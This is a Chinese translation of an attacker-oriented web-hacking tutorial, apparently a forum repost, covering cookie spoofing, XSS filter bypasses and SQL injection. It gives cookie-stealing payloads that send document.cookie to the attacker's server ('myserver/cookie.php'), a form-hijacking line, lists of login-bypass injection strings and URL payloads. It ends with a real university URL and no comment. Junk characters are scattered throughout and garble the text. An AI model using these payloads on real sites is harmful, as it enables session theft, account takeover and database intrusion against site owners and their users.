XSS & SQL注入

admin

XSS & SQL注入
( v& d  b* P. l  n9 \% S文章作者：CyberPhreak
; T6 c3 r" u) I! i1 X- v译文作者：黯魂 [S.S.T]


: c- i7 q* n8 {+ y) K$ E. u- g' TXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
4 e; _8 C5 f. ~. l8 g! ]X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
) b3 m) Y/ a  {# P
' ]% _  }9 D% j8 j! E, n
~介绍

5 f  y5 X' s9 x* G& Z$ `6 t2 g在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.
  I$ J8 |1 @3 L8 v1 L/ h
# [2 D3 s4 \5 o% g4 H: }5 k: XXXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
" i) ^* t* R! OXXXXXXXXXXXXXXXXXXXXX
+ V7 k# q' L: _$ g  q! j
; g7 U$ r2 S9 e( _1 `0 \4 UXXXXXXXXXXXXXXXXXXXX
3 u7 R0 l4 c/ OX Cookie Editing X
2 H$ k2 [: Q, I! H+ C( N/ w+ i1 sX XSS X
X SQL Injection X
+ x9 e7 t$ y9 H' NXXXXXXXXXXXXXXXXXXXX
% w# D0 M1 V; v0 l& j5 h
~什么是cookie

3 ^( U! y5 Y4 ?% H1 K" lcookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.

~警告&欺骗
. ?2 e% B% p2 @% R8 X7 U, J
2 F* @+ a7 W( j, F, \  W% S" i% U那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:

2 X! n1 F% q& Q8 s7 M4 Lstrusername=cnsst;strpassword=cnsst

此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
% @1 ]) I+ F3 c0 v& Q7 u现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

~什么是XSS

. V( @  X. H% ?XSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.
% a$ R8 N3 M3 `
~为什么使用XSS

很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
& [, u' \% o! {! l% J# M4 q你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.

1 u0 E  {  H5 ?- J5 f/ E0 d~让我们开始吧…
$ }% }9 J' r# L0 H8 d7 Y+ F
我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.
9 }8 @5 |- f2 g: F) @
7 |  t2 C0 S% Q3 I; w- U  eXSS--跨站脚本&lt;html&gt;

&lt;body&gt;
- E8 C) B) j1 {# `
4 l& V( N( `5 y( \" v+ Z; d2 F' l&lt;form action="" method="GET"&gt;
. I' y; n$ r* L2 L) L
, l( @; p6 z7 h! g+ J1 n9 w, t2 q&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;

: b6 C, M! S" R: L$ G. EScript: &lt;input name="name" type="name"&gt;
; T5 Y% o/ f+ v& K& D
$ ~; B: Q8 G- f6 p, W8 f) `. s" t# P&lt;input type="submit" value="submit"&gt;
. [0 ]2 M# y; v+ j! w; d
&lt;/form&gt;

: p$ z$ U0 c- {6 j: O8 X9 U&lt;/body&gt;
9 Y5 v0 [3 e8 N, Z9 K: k" ]4 _' G3 P
9 }: z$ E/ f' g+ u5 F: i  i$ i- p&lt;/html&gt;
$ p8 y. x2 N2 \! J0 Q5 x! _
* p8 W; v+ c9 T% a* H5 N
/ V- C; C# Q% O& C8 L9 p3 I
; N5 Y# {5 a, D&lt;?php
# a# Q5 l2 @5 u& A4 j
6 Y& Q% ~1 z( h$name = $_GET['name'];

" X! C  O+ B: b& q* [* p6 y9 [' y6 aecho("Hello $name");
, _( w7 o7 ?, X0 @5 g! w9 X5 b
?&gt;
复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:

( l4 O& d) J9 D: ?9 A( icnsst
$ [- l9 K" Z( X! M"Hello cnsst!"

引号内的信息就是输出信息..注意看,现在我输入:
5 g$ J  ?) Y" _<script>alert(document.cookie)</script>
1 z% a% D0 m. c+ z( ]6 M
那么它将会弹出document.cookie!所以它是易受XSS攻击的!

9 A- E% M6 t) k0 ^8 @现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...

服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...
1 R! @  e7 @# {
已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.
1 u- i+ d9 y. L! Z5 O
7 u, {! l" F& e" q+ P/ W让我们看一个稍微复杂点的例子!

3 z( s9 V. U4 U/ h假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
scriptalert(document.cookie)/script
或者可能是这样的:
+ ?# g* m3 l8 c$ V4 ]3 p2 qscriptalertdocument.cookie/script
* U# A8 k9 k$ y: E
可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.
( C) Z4 F/ D$ @7 j4 A
让我们继续利用:
<<script>>alert(document.cookie)<</script>>
9 ~1 R' ?8 P8 N. N" Y
你的输出将弹出document.cookie.

现在来看看更狠的:
  ^9 q. b- [4 J- v4 i. S6 S<<script>>alert((document.cookie))<<//script>>

* }) G+ O+ `' G" x% C8 P
* N' u: _/ K1 F2 }+ R他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
scriptalertdocument.cookie/script
" c: C9 c$ P8 E或者 <<<script>>>alert(document.cookie)<<</script>>>  
  k+ L' @. S4 c( @& ]% ~
; Z0 }8 m0 Q& R. }% Y他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
2 o( p, Y3 U) l<script>alert(document.cookie)</script>

输出像这样:srplert(document.cookie)srp
% F# n9 G: c/ j
$ u" x3 j# B9 c6 A% m& T仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
" n8 _+ C) a1 W7 n5 v) b# ^* S# ?<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
: {2 c( i1 J7 w+ a
; M/ u7 |. q. b: n所有重复多余的部分刚好被替换!现在让我们来点更高级的!
: [# K+ ~3 S7 E( u% c8 q
' m, S& z* P& K' t/ y4 Y, O/ t这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
# I3 N! @0 a) F2 e! }8 n2 b' n+ u<script>alert(document.cookie)</script>
9 I; p' U3 H3 X7 e, C0 b
; b3 d' b6 [) I% U4 G  Q8 q9 y输出将是:
scriptalert(document.cookie)script

看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
3 S& @" y! L3 A/ s<<script>>alert(document.cookie)<</script>>

输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:
" P/ G6 ]: l: X# _* x/ b! C1 F. U
<
5 U4 d* w( E6 b  H1 g  m( f% q6 oscript
>
alert
(
document
.
cookie
+ y8 j/ y# G$ m! z/ @)
: Q1 k$ \. @1 t8 b! S: a" k0 H+ L<
) h8 v  A8 C1 W- o$ ^) H* z/
* q, O. b7 @  g# U* u) S" V4 ascript
! W) K4 U8 e* l>


看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
* w- w8 I3 [/ P+ X- H3 T<
% t: B3 {5 a3 Ps
c
1 }3 m8 w4 X7 F  U3 |+ Vr
i
0 b9 Q6 M* l2 t7 w( p; ap
# D0 {4 C; p6 m# }* ?* Rt
>
a
l
: A" y5 P) W/ ?3 e! pe
3 ]3 G* R* M( D& c2 sr
t
( P/ m/ s7 c. G2 ~8 A& `6 P. Z(
' T/ D0 P! a' td
5 e: p" r( ]6 u; B. t  w( B! n8 ?o
c
+ k6 e, c* R7 y. \! ju
m
0 {) g1 y$ P8 R' M1 i3 i, d% Pe
n
t
0 d$ s( g# J4 D3 t0 T.
8 p0 h7 ]0 u: n& M9 A, kc
  i+ z/ W8 w4 N  C6 c  T+ F' ho
5 P9 e: x# L% x2 v  }" l( j1 Io
k
i
0 \- n$ n* `3 s. Re
' n+ z# u8 r6 O# L# Z; ])
. b* n4 v' u3 q7 U<
/
s
; c2 P& i3 M3 u. c8 M6 w1 tc
r
i
2 d8 M# o3 c; B: X! _9 |p
t
/
>
  y( `, w+ a0 _! x/ h2 |1 u3 H0 a
. s6 {8 i1 F5 V% T6 ~7 ]这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)

还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.

现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.
6 h/ u* |* \2 V: x$ k- B  `  W
首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.

我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
document.forms(0).action ="http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.

再次假设你在网站上注册了一个帐号,并且可以自定义资料...
6 q# Y' w/ C- z8 W) B8 sdocument.images(0).src="http://myserver/cookie.php"+document.cookie.
$ w. r" U6 t5 N+ t  K/ k或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
7 C5 j# a# z0 qjavascript:location.href="http://myserver/cookie.php"+document.cookie
7 j1 o1 {$ ?8 d0 z# P# a这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.
4 M* ^: j- P4 ?$ t) F" k
7 h# m6 y8 A, O5 F4 I有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
0 X9 w( H: ~) T8 d8 P  dtelnet example.com
9 v5 u% r+ C) K$ ZGET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
( m" j) Y0 q% v# w  aUser-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
1 z) S$ }& C, V. |8 N; S4 \Referer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
* F4 v( Y% w5 T, ~1 P4 d~什么是SQL注入

SQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;

- _  Q7 Q: r6 P! b&lt;body&gt;

+ Z6 C4 e# R6 _4 g* L  x3 u1 d" [&lt;form action="" method="POST"&gt;
8 v, o7 p2 L2 k: c! A6 i! a& V
Username: &lt;input name="name" type="name"&gt;

' d1 ], W3 ]3 N- ^7 p4 X7 d6 @7 pPassword: &lt;input name="password" type="password"&gt;

1 P: l8 ~. [9 h9 H. `! V2 h0 b&lt;input type="submit" type="submit" value="Submit"&gt;
$ k' v: ]; I& p( s0 Z
5 z+ \7 ~" r, }9 V8 T&lt;/form&gt;
: r$ {$ l1 r( q. s# z4 g8 o
&lt;/body&gt;

&lt;/html&gt;
复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!

最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.

'='
'OR 1=1--
* }6 l$ g0 [  Q4 \9 P2 m'OR a=a--
1 J  t& y' q( O# N'OR'
- o2 B5 _+ O4 X9 Y# m4 @
自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:
, F" x1 m" @. u) N1 Q! f, k, ~9 n
'OR''='
7 M& ]0 a7 @+ z4 E& S'OR"="
'OR'="
'OR '="
5 \3 ]% k7 `  X'OR "='
'OR ''='
'OR '=''
'OR "=''
'OR ''="


; ?; I% A' m. X4 v& C# N4 w( i" ?6 }6 r~
) F' T$ H8 l( l3 x: G. }8 s现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
6 x! r2 A4 C: d! a' \: Z1 I7 }! G  fUNION ALL SELECT username,password FROM users

这个查询语句将执行,但是….如果毫无作用呢?
% L9 s1 B+ T. y% i" mUNION ALL SELECT username,password FROM users WHERE username='OR "='
# ^- s9 Q3 \6 `! v' {AND password='OR "='
2 L3 U! W! O% n% d( x
* G) V: b! z3 o( K( R6 a& q5 h你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.
# ]9 _" c" ]) h
一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
6 u! k6 u: O; P1 U6 O, |UNION ALL SELECT
- K) i3 E3 c- S4 D; t1 ?ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
$ L8 x+ O! `. S! EWHERE ip='OR''="

& ]: k+ l$ Y: _! A5 o. ^6 g) y现在你看到这个了吗?(我确信你已经看到了)
http://example.com/index.php?article=34
. `& ^4 Y( K$ A, v2 M5 _* e9 _" }那将浏览Id为34的文章...让我们用"'"替换34:
6 }/ U5 L, E& O3 ]6 Thttp://example.com/index.php?article='

' P4 ]- c1 n3 U- c+ V
3 V4 D# I0 U" S现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
http://example.com/index.php?article='
2 @- [, t1 g9 `0 E, M$ _* V! bhttp://example.com/index.php?article='='
8 Z) h) L0 K: c0 f) N* nhttp://example.com/index.php?article='OR 1=1--
# D$ f' w# S( O' H. Whttp://example.com/index.php?article='OR a=a--
6 }) n! A3 I' Phttp://example.com/index.php?article='OR '="
, l% I% b' j1 `& _0 S% yhttp://example.com/index.php?article='OR "='
http://example.com/index.php?article='OR ''='
http://example.com/index.php?article='OR '=''
8 W( L- n/ P- l/ T7 L. Jhttp://example.com/index.php?article='OR''='
http://example.com/index.php?article='OR"'='
http://example.com/index.php?article='OR"''='

尽情发挥自己的创造力!
2 r" i4 Z4 U2 h- h8 P6 r% Y* Ohttp://www.ie.tsinghua.edu.cn/notice/show.php?id=704